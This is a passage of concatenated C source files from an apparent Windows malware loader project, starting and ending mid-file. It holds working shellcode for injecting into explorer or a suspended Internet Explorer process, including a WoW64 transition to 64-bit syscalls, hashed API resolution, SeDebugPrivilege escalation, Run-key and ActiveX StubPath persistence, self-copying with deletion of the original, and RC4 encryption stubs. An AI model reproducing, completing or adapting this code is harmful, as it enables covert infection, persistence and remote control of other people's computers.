for (u32 i = 0; i < 15; i++) {
if (extrac_function->ptr64 != 0) {
extrac_function->ptr64 = inject_memory(global_data, process, (unsigned char *)extrac_function->ptr32, extrac_function->size);
if (extrac_function->ptr64 == 0) {
global_data->free_memory(global_data, remote_thread_param);
return false;
}
extrac_function++;
}
}
remote_thread_param->thread_main = inject_memory(global_data, process, (unsigned char *)thread_main, thread_main_size);
if (remote_thread_param->thread_main == 0) {
global_data->free_memory(global_data, remote_thread_param);
return false;
}
remote_thread_param->thread_main_size = thread_main_size;
u64 remote_param = inject_memory(global_data, process, (unsigned char *)remote_thread_param, sizeof(explorer_thread_param_t));
u64 remote_thread = inject_memory(global_data, process,
global_data->is_wow64 ? (unsigned char *)global_data->inject_to_explorer_code_x64.ptr32 : (unsigned char *)global_data->inject_to_explorer_code_x86.ptr32,
global_data->is_wow64 ? global_data->inject_to_explorer_code_x64.size : global_data->inject_to_explorer_code_x86.size);
if (remote_param == 0 || remote_thread == 0) {
global_data->free_memory(global_data, remote_thread_param);
return false;
}
HANDLE thread = global_data->is_wow64 ?
wow64_create_remote_thread(global_data, process, remote_thread, remote_param) :
global_data->xCreateRemoteThread(process, 0, 0, (LPTHREAD_START_ROUTINE)remote_thread, (void *)remote_param, 0, 0);
global_data->xCloseHandle(thread);
global_data->free_memory(global_data, remote_thread_param);
return thread != 0;
}
u64 inject_memory(global_data_t *global_data, HANDLE process, unsigned char *buf, u32 size) {
if (global_data->is_wow64) {
return wow64_inject_memory(global_data, process, buf, size);
}
void *remote = global_data->xVirtualAllocEx(process, 0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (remote == 0) return 0;
u32 writed = 0;
global_data->xWriteProcessMemory(process, remote, buf, size, &writed);
return (u64)remote;
}
u64 wow64_inject_memory(global_data_t *global_data, HANDLE process, unsigned char *buf, u32 size) {
u64 NtAllocateVirtualMemory, NtWriteVirtualMemory, ntdll_base;
ntdll_base = wow64_call(global_data->get_ntdll_base_x64.ptr64, 0);
NtAllocateVirtualMemory = wow64_call(global_data->get_proc_from_hash_x64.ptr64, 3, ntdll_base,
(u64)NtAllocateVirtualMemory_Hash, (uint64_t)0);
NtWriteVirtualMemory = wow64_call(global_data->get_proc_from_hash_x64.ptr64, 3, ntdll_base, (u64)NtWriteVirtualMemory_Hash, (uint64_t)0);
if ((NtAllocateVirtualMemory & NtWriteVirtualMemory) == 0) return 0;
u64 target_address = 0;
u64 temp_size = size;
u64 ret = wow64_call(NtAllocateVirtualMemory, 6, (u64)process, (u64)&target_address, (u64)0, (u64)&temp_size,
(u64)MEM_TOP_DOWN | MEM_COMMIT, (u64)PAGE_EXECUTE_READWRITE);
if (ret != STATUS_SUCCESS) return 0;
u64 writed = 0;
ret = wow64_call(NtWriteVirtualMemory, 5, (u64)process, target_address, (u64)buf, (u64)size, (u64)&writed);
if (ret != STATUS_SUCCESS) return 0;
return target_address;
}
HANDLE __cdecl wow64_create_remote_thread(global_data_t *global_data, HANDLE process, u64 thread, u64 param) {
u64 RtlCreateUserThread, ntdll_base, ret;
ntdll_base = wow64_call(global_data->get_ntdll_base_x64.ptr64, 0);
RtlCreateUserThread = wow64_call(global_data->get_proc_from_hash_x64.ptr64, 3,
ntdll_base,
(u64)RtlCreateUserThread_Hash,
(u64)0);
if (RtlCreateUserThread == 0) return 0;
u64 thread_handle = 0;
ret = wow64_call(RtlCreateUserThread, 10,
(u64)process,
(u64)0,
(u64)FALSE,
(u64)0,
(u64)0,
(u64)0,
thread,
param, // param
(u64)&thread_handle,
(u64)0);
if (ret != STATUS_SUCCESS) return 0;
return (HANDLE)thread_handle;
}
#pragma warning(push)
#pragma warning(disable : 4409)
u64 wow64_call(uint64_t func, int argC, ...) {
va_list args;
va_start(args, argC);
reg64 _rcx = { (argC > 0) ? argC--, va_arg(args, u64) : 0 };
reg64 _rdx = { (argC > 0) ? argC--, va_arg(args, u64) : 0 };
reg64 _r8 = { (argC > 0) ? argC--, va_arg(args, u64) : 0 };
reg64 _r9 = { (argC > 0) ? argC--, va_arg(args, u64) : 0 };
reg64 _rax = { 0 };
reg64 restArgs = { (u64)&va_arg(args, u64) };
// conversion to QWORD for easier use in inline assembly
reg64 _argC = { (uint64_t)argC };
uint32_t back_esp = 0;
uint16_t back_fs = 0;
__asm
{
;// reset FS segment, to properly handle RFG
mov back_fs, fs
mov eax, 0x2B
mov fs, ax
;// keep original esp in back_esp variable
mov back_esp, esp
;// align esp to 0x10, without aligned stack some syscalls may return errors !
;// (actually, for syscalls it is sufficient to align to 8, but SSE opcodes
;// requires 0x10 alignment), it will be further adjusted according to the
;// number of arguments above 4
and esp, 0xFFFFFFF0
x64_start();
;// below code is compiled as x86 inline asm, but it is executed as x64 code
;// that's why it need sometimes REX_W() macro, right column contains detailed
;// transcription how it will be interpreted by CPU
;// fill first four arguments
REX_W mov ecx, _rcx.dw[0];// mov rcx, qword ptr [_rcx]
REX_W mov edx, _rdx.dw[0];// mov rdx, qword ptr [_rdx]
push _r8.v;// push qword ptr [_r8]
X64_Pop(_R8);;// pop r8
push _r9.v;// push qword ptr [_r9]
X64_Pop(_R9);;// pop r9
;//
REX_W mov eax, _argC.dw[0];// mov rax, qword ptr [_argC]
;//
;// final stack adjustment, according to the ;//
;// number of arguments above 4 ;//
test al, 1;// test al, 1
jnz _no_adjust;// jnz _no_adjust
sub esp, 8;// sub rsp, 8
_no_adjust:;//
;//
push edi;// push rdi
REX_W mov edi, restArgs.dw[0];// mov rdi, qword ptr [restArgs]
;//
;// put rest of arguments on the stack ;//
REX_W test eax, eax;// test rax, rax
jz _ls_e;// je _ls_e
REX_W lea edi, dword ptr[edi + 8 * eax - 8];// lea rdi, [rdi + rax*8 - 8]
;//
_ls:;//
REX_W test eax, eax;// test rax, rax
jz _ls_e;// je _ls_e
push dword ptr[edi];// push qword ptr [rdi]
REX_W sub edi, 8;// sub rdi, 8
REX_W sub eax, 1;// sub rax, 1
jmp _ls;// jmp _ls
_ls_e:;//
;//
;// create stack space for spilling registers ;//
REX_W sub esp, 0x20;// sub rsp, 20h
;//
call func;// call qword ptr [func]
;//
;// cleanup stack ;//
REX_W mov ecx, _argC.dw[0];// mov rcx, qword ptr [_argC]
REX_W lea esp, dword ptr[esp + 8 * ecx + 0x20];// lea rsp, [rsp + rcx*8 + 20h]
;//
pop edi;// pop rdi
;//
// set return value ;//
REX_W mov _rax.dw[0], eax;// mov qword ptr [_rax], rax
x64_end();
mov ax, ds
mov ss, ax
mov esp, back_esp
;// restore FS segment
mov ax, back_fs
mov fs, ax
}
return _rax.v;
}
#pragma warning(pop)
void inject_to_explorer_end() {
printf(__FUNCTION__);
}
#pragma optimize("ts", off)
void inject_to_explorer_save(const char *filename) {
char *start, *end;
FILE *f;
start = (char *)inject_to_explorer;
end = (char *)inject_to_explorer_end;
printf("[*] inject_to_explorer code size = 0x%X\n", end - start);
f = fopen(filename, "wb");
u16 temp = offsetof(global_data_t, inject_to_explorer);
printf("offset: 0x%X\n", temp);
fwrite(&temp, 1, sizeof(temp), f);
temp = end - start;
fwrite(&temp, 1, sizeof(temp), f);
fwrite(start, 1, end - start, f);
fclose(f);
printf("[*] save inject_to_explorer to %s success.\n", filename);
}
#endif
================================================
FILE: loader v1.0/loader_function/loader_function/inject_to_explorer_code_x86.c
================================================
#include "shellcodes.h"
#include "global_data.h"
#ifndef _WIN64
#pragma optimize("ts", on)
void __stdcall inject_to_explorer_code_x86(explorer_thread_param_t *param) {
global_data_t *global_data = ¶m->global_data;
// ȴloader˳
global_data->xSleep(1000 * 2);
HANDLE mutex_handle = global_data->xCreateMutexA(0, false, global_data->mutex_name);
if (mutex_handle == 0) return;
if (global_data->xGetLastError() == ERROR_ALREADY_EXISTS) {
global_data->xCloseHandle(mutex_handle);
return;
}
wchar_t *expand_str = 0;
char *sedebugname = 0;
__asm {
call push_str
__emit('%')
__emit(0)
__emit('P')
__emit(0)
__emit('R')
__emit(0)
__emit('O')
__emit(0)
__emit('G')
__emit(0)
__emit('R')
__emit(0)
__emit('A')
__emit(0)
__emit('M')
__emit(0)
__emit('F')
__emit(0)
__emit('I')
__emit(0)
__emit('L')
__emit(0)
__emit('E')
__emit(0)
__emit('S')
__emit(0)
__emit('%')
__emit(0)
__emit('\\')
__emit(0)
__emit('I')
__emit(0)
__emit('n')
__emit(0)
__emit('t')
__emit(0)
__emit('e')
__emit(0)
__emit('r')
__emit(0)
__emit('n')
__emit(0)
__emit('e')
__emit(0)
__emit('t')
__emit(0)
__emit(' ')
__emit(0)
__emit('E')
__emit(0)
__emit('x')
__emit(0)
__emit('p')
__emit(0)
__emit('l')
__emit(0)
__emit('o')
__emit(0)
__emit('r')
__emit(0)
__emit('e')
__emit(0)
__emit('r')
__emit(0)
__emit('\\')
__emit(0)
__emit('i')
__emit(0)
__emit('e')
__emit(0)
__emit('x')
__emit(0)
__emit('p')
__emit(0)
__emit('l')
__emit(0)
__emit('o')
__emit(0)
__emit('r')
__emit(0)
__emit('e')
__emit(0)
__emit('.')
__emit(0)
__emit('e')
__emit(0)
__emit('x')
__emit(0)
__emit('e')
__emit(0)
__emit(0)
__emit(0)
push_str:
pop eax
mov expand_str, eax
call push_str_1
__emit('S')
__emit('e')
__emit('D')
__emit('e')
__emit('b')
__emit('u')
__emit('g')
__emit('P')
__emit('r')
__emit('i')
__emit('v')
__emit('i')
__emit('l')
__emit('e')
__emit('g')
__emit('e')
__emit(0)
push_str_1:
pop eax
mov sedebugname, eax
}
HANDLE token;
TOKEN_PRIVILEGES tkp;
if (!global_data->xOpenProcessToken(global_data->xGetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) return;
if (!global_data->xLookupPrivilegeValueA(NULL, sedebugname, &tkp.Privileges[0].Luid)) {
global_data->xCloseHandle(token);
return;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!global_data->xAdjustTokenPrivileges(token, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {
global_data->xCloseHandle(token);
return;
}
if (global_data->copy_method != COPY_METHOD_NONE) {
global_data->copy_self_x86(global_data);
}
if (global_data->startup_hklm) {
global_data->add_startup_hklm_x86(global_data);
}
if (global_data->startup_acitvex) {
global_data->add_startup_activex_x86(global_data);
}
wchar_t ie_path[MAX_PATH];
u32 ret = global_data->xExpandEnvironmentStringsW(expand_str, ie_path, MAX_PATH);
ie_path[ret] = 0;
HANDLE heap = global_data->xGetProcessHeap();
global_data_t *new_global_data = global_data->xHeapAlloc(heap, HEAP_ZERO_MEMORY, sizeof(global_data_t));
for (;;) {
HANDLE process = 0;
if (global_data->inject_to_custom) {
for (u32 i = 0; i < INJECT_TIMES; i++) {
global_data->xSleep(INJECT_INTERVAL);
u32 pid = global_data->find_process_by_name_x86(global_data, global_data->custom_process_name);
if (pid != 0) {
process = global_data->xOpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (process != 0) break;
}
}
}
// ע뵽ie
if (process == 0) {
STARTUPINFOW si;
PROCESS_INFORMATION pi;
global_data->xRtlZeroMemory(&si, sizeof(si));
global_data->xRtlZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
si.wShowWindow = SW_SHOWNORMAL;
if (!global_data->xCreateProcessW(0, ie_path, 0, 0, false, CREATE_SUSPENDED | DETACHED_PROCESS, 0, 0, &si, &pi)) continue;
global_data->xCloseHandle(pi.hThread);
process = pi.hProcess;
}
global_data->xRtlZeroMemory(new_global_data, sizeof(global_data_t));
global_data->xRtlMoveMemory(new_global_data, global_data, sizeof(global_data_t));
// global_data extrac
extra_function_t *extrac_function = &new_global_data->connect_by_socks5;
void *temp = 0;
for (u32 i = 0; i < 15; i++) {
if (extrac_function->ptr64 != 0) {
temp = global_data->xVirtualAllocEx(process, 0, extrac_function->size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (temp == 0) break;
if (!global_data->xWriteProcessMemory(process, temp, (void *)extrac_function->ptr32, extrac_function->size, 0)) break;
extrac_function->ptr64 = (u64)temp;
}
}
if (temp == 0) continue;
void *remote_thread, *remote_param;
remote_thread = global_data->xVirtualAllocEx(process, 0, param->thread_main_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
remote_param = global_data->xVirtualAllocEx(process, 0, sizeof(global_data_t), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (remote_thread == 0 || remote_param == 0) continue;
if (!global_data->xWriteProcessMemory(process, remote_thread, (void *)param->thread_main, param->thread_main_size, 0)) continue;
if (!global_data->xWriteProcessMemory(process, remote_param, new_global_data, sizeof(global_data_t), 0)) continue;
HANDLE thread = global_data->xCreateRemoteThread(process, 0, 0, (LPTHREAD_START_ROUTINE)remote_thread, remote_param, 0, 0);
if (thread == 0) continue;
global_data->xCloseHandle(process);
if (global_data->persistence) {
global_data->xWaitForSingleObject(thread, INFINITE);
global_data->xCloseHandle(thread);
}
else {
global_data->xCloseHandle(thread);
break;
}
}
global_data->xHeapFree(heap, 0, new_global_data);
}
void inject_to_explorer_code_x86_end() {
printf(__FUNCTION__);
}
#pragma optimize("ts", off)
void inject_to_explorer_code_x86_save(const char *filename) {
char *start, *end;
FILE *f;
start = (char *)inject_to_explorer_code_x86;
end = (char *)inject_to_explorer_code_x86_end;
printf("[*] inject_to_explorer_code_x86 code size = 0x%X\n", end - start);
f = fopen(filename, "wb");
u16 temp = offsetof(global_data_t, inject_to_explorer_code_x86);
printf("offset: 0x%X\n", temp);
fwrite(&temp, 1, sizeof(temp), f);
temp = end - start;
fwrite(&temp, 1, sizeof(temp), f);
fwrite(start, 1, end - start, f);
fclose(f);
printf("[*] save inject_to_explorer_code_x86 to %s success.\n", filename);
}
#endif
================================================
FILE: loader v1.0/loader_function/loader_function/loader_function.cpp
================================================
// loader_function.cpp : ̨Ӧóڵ㡣
//
#include "stdafx.h"
#include "shellcodes.h"
int _tmain(int argc, _TCHAR* argv[])
{
#ifdef _WIN64
x64_code_save();
#else
inject_to_explorer_save("inject_to_explorer.bin");
inject_to_explorer_code_x86_save("inject_to_explorer_code_x86.bin");
rc4_init_save("rc4_init.bin");
rc4_crypt_save("rc4_crypt.bin");
#endif
return 0;
}
================================================
FILE: loader v1.0/loader_function/loader_function/loader_function.vcxproj
================================================
Debug
Win32
Debug
x64
Release
Win32
Release
x64
{DCB38EA2-571C-4CC8-84DE-D2278EA4034B}
Win32Proj
loader_function
Application
true
v120
Unicode
Application
true
v120
Unicode
Application
false
v120_xp
true
Unicode
Application
false
v120
true
Unicode
true
true
false
false
NotUsing
Level3
Disabled
WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)
true
false
false
Console
true
Use
Level3
Disabled
WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)
true
Console
true
Level3
NotUsing
MinSpace
true
true
WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)
true
/D _CRT_SECURE_NO_WARNINGS %(AdditionalOptions)
false
false
false
MultiThreaded
Console
true
true
true
true
order_x86.txt
false
true
true
Level3
NotUsing
MinSpace
true
true
WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)
true
false
false
/D _CRT_SECURE_NO_WARNINGS %(AdditionalOptions)
Console
true
true
true
order_x64.txt
true
Create
Create
Create
Create
================================================
FILE: loader v1.0/loader_function/loader_function/loader_function.vcxproj.filters
================================================
{4FC737F1-C7A5-4376-A066-2A32D752A2FF}
cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
{93995380-89BD-4b04-88EB-625FBE52EBFB}
h;hh;hpp;hxx;hm;inl;inc;xsd
{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
头文件
头文件
头文件
头文件
源文件
源文件
源文件
源文件
源文件
源文件
================================================
FILE: loader v1.0/loader_function/loader_function/loader_function.vcxproj.user
================================================
true
================================================
FILE: loader v1.0/loader_function/loader_function/order_x64.txt
================================================
add_startup_hklm_x64
add_startup_hklm_x64_end
add_startup_activex_x64
add_startup_activex_x64_end
copy_self_x64
copy_self_x64_end
find_process_by_name_x64
find_process_by_name_x64_end
inject_to_explorer_code_x64
inject_to_explorer_code_x64_init
================================================
FILE: loader v1.0/loader_function/loader_function/order_x86.txt
================================================
inject_to_explorer@16
wow64_create_remote_thread
inject_memory
wow64_inject_memory
wow64_call
inject_to_explorer_end
inject_to_explorer_code_x86@4
inject_to_explorer_code_x86_end
rc4_init_code@12
rc4_init_end
rc4_crypt_code@12
rc4_crypt_end
================================================
FILE: loader v1.0/loader_function/loader_function/rc4.c
================================================
#include "shellcodes.h"
#ifndef _WIN64
extern void __stdcall rc4_init_code(unsigned char *sbox, unsigned char *key, unsigned len);
extern void __cdecl rc4_init_end();
extern void __stdcall rc4_crypt_code(unsigned char *sbox, unsigned char *data, unsigned len);
extern void __cdecl rc4_crypt_end();
#pragma optimize("ts", on)
void __stdcall rc4_init_code(unsigned char *sbox, unsigned char *key, unsigned len) {
unsigned char k[256];
for (int i = 0; i < 256; i++) {
sbox[i] = i;
k[i] = key[i % len];
}
for (int i = 0, j = 0; i < 256; i++) {
j = (j + sbox[i] + k[i]) % 256;
unsigned char tmp = sbox[i];
sbox[i] = sbox[j];
sbox[j] = tmp;
}
}
void __cdecl rc4_init_end() {
printf(__FUNCTION__);
}
void __stdcall rc4_crypt_code(unsigned char *sbox, unsigned char *data, unsigned len) {
int i = 0, j = 0;
for (unsigned k = 0; k < len; k++) {
i = (i + 1) % 256;
j = (j + sbox[i]) % 256;
unsigned char tmp = sbox[i];
sbox[i] = sbox[j];
sbox[j] = tmp;
int t = (sbox[i] + sbox[j]) % 256;
data[k] ^= sbox[t];
}
}
void __cdecl rc4_crypt_end() {
printf(__FUNCTION__);
};
void rc4_init_save(char *filename) {
char *start, *end;
FILE *f;
start = (char *)rc4_init_code;
end = (char *)rc4_init_end;
printf("[*] rc4_init code size = 0x%X\n", end - start);
f = fopen(filename, "wb");
fwrite(start, 1, end - start, f);
fclose(f);
printf("[*] save rc4_init to %s success.\n", filename);
}
void rc4_crypt_save(char *filename) {
char *start, *end;
FILE *f;
start = (char *)rc4_crypt_code;
end = (char *)rc4_crypt_end;
printf("[*] rc4_crypt code size = 0x%X\n", end - start);
f = fopen(filename, "wb");
fwrite(start, 1, end - start, f);
fclose(f);
printf("[*] save rc4_crypt to %s success.\n", filename);
}
#pragma optimize("ts", off)
#endif
================================================
FILE: loader v1.0/loader_function/loader_function/shellcode.inc
================================================
typedef void * (__stdcall *_get_proc_from_hash)(HMODULE, DWORD, _GetProcAddress);
typedef void (__stdcall *_rc4_init)(unsigned char *, const char *, DWORD);
typedef void (__stdcall *_rc4_crypt)(unsigned char *, const char *, DWORD);
typedef void *(__stdcall *_alloc_memory)(global_data_p, DWORD);
typedef void *(__stdcall *_realloc_memory)(global_data_p, void *, DWORD);
typedef void *(__stdcall *_free_memory)(global_data_p, void *);
typedef void *(__stdcall *_alloc_executable_memory)(global_data_p, HANDLE, DWORD);
typedef void (__stdcall *_free_executable_memory)(global_data_p, HANDLE, void *);
typedef void *(__stdcall *_inject_memory)(global_data_p, HANDLE, void *, DWORD);
typedef int (__stdcall *_compress)(global_data_p, void *, DWORD, void *, DWORD);
typedef int (__stdcall *_decompress)(global_data_p, void *, DWORD, void *, DWORD);
typedef int (__stdcall *_wait_buffer)(global_data_p, SOCKET, DWORD, DWORD);
typedef int (__stdcall *_recv_data)(global_data_p, SOCKET, void *, DWORD);
typedef int (__stdcall *_send_data)(global_data_p, SOCKET, void *, DWORD);
typedef uint64_t (__cdecl *_wow64_call)(uint64_t func, int argC, ...);
typedef uint64_t (__cdecl *_wow64_inject_memory)(global_data_t *global_data, HANDLE process, unsigned char *buf, uint32_t size);
typedef HANDLE (__cdecl *_wow64_create_remote_thread)(global_data_t *global_data, HANDLE process, uint64_t thread, uint64_t param);
================================================
FILE: loader v1.0/loader_function/loader_function/shellcodes.h
================================================
#ifndef SHELLCODES_H
#define SHELLCODES_H
#include "global_data.h"
#ifdef __cplusplus
extern "C" {
#endif
#ifdef _WIN64
void x64_code_save();
#else
void inject_to_explorer_save(const char *filename);
void inject_to_explorer_code_x86_save(const char *filename);
void rc4_init_save(char *filename);
void rc4_crypt_save(char *filename);
#endif
#ifdef __cplusplus
}
#endif
#endif // SHELLCODES_H
================================================
FILE: loader v1.0/loader_function/loader_function/stdafx.cpp
================================================
// stdafx.cpp : ֻļԴļ
// loader_function.pch ΪԤͷ
// stdafx.obj ԤϢ
#include "stdafx.h"
// TODO: STDAFX.H
// κĸͷļڴļ
================================================
FILE: loader v1.0/loader_function/loader_function/stdafx.h
================================================
// stdafx.h : ϵͳļİļ
// Ǿʹõĵ
// ضĿİļ
//
#pragma once
#include "targetver.h"
#include
#include
// TODO: ڴ˴óҪͷļ
================================================
FILE: loader v1.0/loader_function/loader_function/targetver.h
================================================
#pragma once
// SDKDDKVer.h õ߰汾 Windows ƽ̨
// ҪΪǰ Windows ƽ̨Ӧó WinSDKVer.h
// WIN32_WINNT ΪҪֵ֧ƽ̨Ȼٰ SDKDDKVer.h
#include
================================================
FILE: loader v1.0/loader_function/loader_function/x64_code.c
================================================
#include "shellcodes.h"
#include "global_data.h"
#ifdef _WIN64
#pragma optimize("ts", on)
extern void add_startup_hklm_x64_end();
void add_startup_hklm_x64(x64_global_data_t *x64_global_data, global_data_t *global_data) {
HKEY root;
char *subkey = (char *)add_startup_hklm_x64_end;
if (x64_global_data->xRegOpenKeyExA(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, &root) != 0) return;
wchar_t temp[100];
x64_global_data->xRtlZeroMemory(temp, sizeof(temp));
x64_global_data->xlstrcpyW(temp, global_data->nklm_name);
x64_global_data->xRegSetValueExW(root, temp, 0, REG_SZ, (const BYTE *)global_data->loader_path, (x64_global_data->xlstrlenW(global_data->loader_path) + 1) * sizeof(wchar_t));
x64_global_data->xRegCloseKey(root);
}
void add_startup_hklm_x64_end() {
printf(__FUNCTION__);
}
extern void add_startup_activex_x64_end();
void add_startup_activex_x64(x64_global_data_t *x64_global_data, global_data_t *global_data) {
HKEY root, stub;
wchar_t tempkey[10];
char *subkey = (char *)add_startup_activex_x64_end;
if (x64_global_data->xRegOpenKeyExA(HKEY_LOCAL_MACHINE, subkey, 0, KEY_ALL_ACCESS, &root) != 0) return;
// ջǶ
tempkey[0] = L'S';
tempkey[1] = L't';
tempkey[2] = L'u';
tempkey[3] = L'b';
tempkey[4] = L'P';
tempkey[5] = L'a';
tempkey[6] = L't';
tempkey[7] = L'h';
tempkey[8] = 0;
if (x64_global_data->xRegCreateKeyExW(root, global_data->activex_name, 0, 0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0, &stub, 0) != 0) {
x64_global_data->xRegCloseKey(root);
}
x64_global_data->xRegSetValueExW(stub, tempkey, 0, REG_SZ, (const BYTE *)global_data->loader_path, (x64_global_data->xlstrlenW(global_data->loader_path) + 1) * 2);
x64_global_data->xRegCloseKey(stub);
x64_global_data->xRegCloseKey(root);
}
void add_startup_activex_x64_end() {
printf(__FUNCTION__);
}
void copy_self_x64(x64_global_data_t *x64_global_data, global_data_t *global_data) {
wchar_t path[MAX_PATH];
u32 ret = 0;
if (global_data->copy_method == COPY_METHOD_TO_WINDOWS) {
ret = x64_global_data->xGetWindowsDirectoryW(path, MAX_PATH);
}
else {
ret = x64_global_data->xGetSystemDirectoryW(path, MAX_PATH);
}
path[ret] = L'\\';
path[ret + 1] = 0;
x64_global_data->xlstrcatW(path, global_data->copy_to);
if (x64_global_data->xlstrcmpiW(global_data->loader_path, path) != 0) {
if (!x64_global_data->xCopyFileW(global_data->loader_path, path, true)) return;
if (global_data->melt) {
x64_global_data->xDeleteFileW(global_data->loader_path);
}
x64_global_data->xRtlZeroMemory(global_data->loader_path, sizeof(global_data->loader_path));
x64_global_data->xlstrcpyW(global_data->loader_path, path);
}
}
void copy_self_x64_end() {
printf(__FUNCTION__);
}
u32 find_process_by_name_x64(x64_global_data_t *x64_global_data, wchar_t *name) {
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(pe32);
HANDLE tlhandle = x64_global_data->xCreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
if (tlhandle == INVALID_HANDLE_VALUE) return 0;
x64_global_data->xProcess32FirstW(tlhandle, &pe32);
while (x64_global_data->xProcess32NextW(tlhandle, &pe32)) {
if (x64_global_data->xlstrcmpiW(pe32.szExeFile, name) == 0) {
x64_global_data->xCloseHandle(tlhandle);
return pe32.th32ProcessID;
}
}
x64_global_data->xCloseHandle(tlhandle);
return 0;
}
void find_process_by_name_x64_end() {
printf(__FUNCTION__);
}
extern void inject_to_explorer_code_x64_init(global_data_t *global_data, x64_global_data_t *x64_global_data);
void __stdcall inject_to_explorer_code_x64(explorer_thread_param_t *param) {
global_data_t *global_data = ¶m->global_data;
x64_global_data_t x64_global_data;
// inject_to_explorer_code_x64_init
inject_to_explorer_code_x64_init(global_data, &x64_global_data);
// ȴloader˳
x64_global_data.xSleep(1000 * 2);
HANDLE mutex_handle = x64_global_data.xCreateMutexA(0, false, global_data->mutex_name);
if (mutex_handle == 0) return;
if (x64_global_data.xGetLastError() == ERROR_ALREADY_EXISTS) {
x64_global_data.xCloseHandle(mutex_handle);
return;
}
HANDLE token;
TOKEN_PRIVILEGES tkp;
if (!x64_global_data.xOpenProcessToken(x64_global_data.xGetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) return;
if (!x64_global_data.xLookupPrivilegeValueA(NULL, x64_global_data.sedebugname, &tkp.Privileges[0].Luid)) {
x64_global_data.xCloseHandle(token);
return;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!x64_global_data.xAdjustTokenPrivileges(token, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {
x64_global_data.xCloseHandle(token);
return;
}
if (global_data->copy_method != COPY_METHOD_NONE) {
global_data->copy_self_x64(&x64_global_data, global_data);
}
if (global_data->startup_hklm) {
global_data->add_startup_hklm_x64(&x64_global_data, global_data);
}
if (global_data->startup_acitvex) {
global_data->add_startup_activex_x64(&x64_global_data, global_data);
}
// ȡie·
wchar_t ie_path[MAX_PATH];
u32 ret = x64_global_data.xExpandEnvironmentStringsW(x64_global_data.expand_str, ie_path, MAX_PATH);
ie_path[ret] = 0;
HANDLE heap = x64_global_data.xGetProcessHeap();
global_data_t *new_global_data = (global_data_t *)x64_global_data.xHeapAlloc(heap, HEAP_ZERO_MEMORY, sizeof(global_data_t));
for (;;) {
HANDLE process = 0;
if (global_data->inject_to_custom) {
for (u32 i = 0; i < INJECT_TIMES; i++) {
x64_global_data.xSleep(INJECT_INTERVAL);
u32 pid = global_data->find_process_by_name_x64(&x64_global_data, global_data->custom_process_name);
if (pid != 0) {
process = x64_global_data.xOpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (process != 0) break;
}
}
}
// ע뵽ie
if (process == 0) {
STARTUPINFOW si;
PROCESS_INFORMATION pi;
x64_global_data.xRtlZeroMemory(&si, sizeof(si));
x64_global_data.xRtlZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
si.wShowWindow = SW_SHOWNORMAL;
if (!x64_global_data.xCreateProcessW(0, ie_path, 0, 0, false, CREATE_SUSPENDED | DETACHED_PROCESS, 0, 0, &si, &pi)) continue;
x64_global_data.xCloseHandle(pi.hThread);
process = pi.hProcess;
}
x64_global_data.xRtlZeroMemory(new_global_data, sizeof(global_data_t));
x64_global_data.xRtlMoveMemory(new_global_data, global_data, sizeof(global_data_t));
// global_data extrac
extra_function_t *extrac_function = &new_global_data->connect_by_socks5;
void *temp = 0;
for (u32 i = 0; i < 15; i++) {
if (extrac_function->ptr64 != 0) {
temp = x64_global_data.xVirtualAllocEx(process, 0, extrac_function->size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (temp == 0) break;
if (!x64_global_data.xWriteProcessMemory(process, temp, (void *)extrac_function->ptr64, extrac_function->size, 0)) break;
extrac_function->ptr64 = (u64)temp;
}
}
if (temp == 0) continue;
void *remote_thread, *remote_param;
remote_thread = x64_global_data.xVirtualAllocEx(process, 0, param->thread_main_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
remote_param = x64_global_data.xVirtualAllocEx(process, 0, sizeof(global_data_t), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (remote_thread == 0 || remote_param == 0) continue;
if (!x64_global_data.xWriteProcessMemory(process, remote_thread, (void *)param->thread_main, param->thread_main_size, 0)) continue;
if (!x64_global_data.xWriteProcessMemory(process, remote_param, new_global_data, sizeof(global_data_t), 0)) continue;
HANDLE thread = x64_global_data.xCreateRemoteThread(process, 0, 0, (LPTHREAD_START_ROUTINE)remote_thread, remote_param, 0, 0);
if (thread == 0) continue;
x64_global_data.xCloseHandle(process);
if (global_data->persistence) {
x64_global_data.xWaitForSingleObject(thread, INFINITE);
x64_global_data.xCloseHandle(thread);
}
else {
x64_global_data.xCloseHandle(thread);
break;
}
}
x64_global_data.xHeapFree(heap, 0, new_global_data);
}
// ⲿfasmд
void inject_to_explorer_code_x64_init(global_data_t *global_data, x64_global_data_t *x64_global_data) {
printf("%S", global_data->activex_name);
printf("%p", x64_global_data->kernel32);
printf(__FUNCTION__);
}
void x64_code_save() {
char *start, *end;
FILE *f;
start = (char *)add_startup_hklm_x64;
end = (char *)add_startup_hklm_x64_end;
printf("[*] add_startup_hklm_x64 code size = 0x%X\n", end - start);
f = fopen("add_startup_hklm_x64.bin", "wb");
